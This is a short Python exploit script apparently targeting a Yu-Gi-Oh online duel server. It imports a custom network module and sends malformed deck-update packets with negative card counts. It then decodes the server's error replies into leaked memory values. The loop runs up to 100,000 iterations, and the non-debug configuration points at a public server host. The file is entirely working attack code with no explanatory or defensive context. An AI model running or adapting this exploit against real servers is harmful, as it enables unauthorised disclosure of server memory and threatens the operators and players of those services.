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leak_ygo.py
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leak_ygo.py
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#coding=utf-8
import network
import struct
import threading
import time
DEBUG = 1
if DEBUG:
ygo_server_addr = '169.254.163.123'
ygo_server_port = 7911
else:
ygo_server_addr = 's1.ygo233.com'
ygo_server_port = 233
config = (ygo_server_addr, ygo_server_port)
def leak_callback_func(length, proto, data):
if proto == 'STOC_ERROR_MSG':
num = struct.unpack('<I', data[4:])[0]
if num == 1610612737:
memory = struct.pack('<i', 0)
else:
DECKERROR_UNKNOWNCARD = 0x4 << 28
memory = struct.pack('<i', num-DECKERROR_UNKNOWNCARD) if num-DECKERROR_UNKNOWNCARD < 0 else struct.pack('<I', num-DECKERROR_UNKNOWNCARD)
print('[*] memory: {}'.format(memory))
def leak_ygo_memory():
lock = threading.Lock()
ygo_handle = network.ygo_handle(
*config,
t_lock=lock,
name='leak_memory',
)
ygo_handle.callback_func = leak_callback_func
ygo_handle.start()
ygo_handle.send_package(num=0, control=False)
ygo_handle.send_package(num=1, control=False)
for i in range(1,100000):
mainc = i
sidec = -i
cards = [46104361, 46104361] # 2张电子界白帽客
deck_buf = struct.pack('<ii', mainc, sidec)
for card in cards:
deck_buf += struct.pack('<i', card)
ygo_handle.send_CTOS_UPDATE_Deck(deck=deck_buf)
ygo_handle.send_package(num=3, control=False)
time.sleep(0.01)
if __name__ == ('__main__'):
leak_ygo_memory()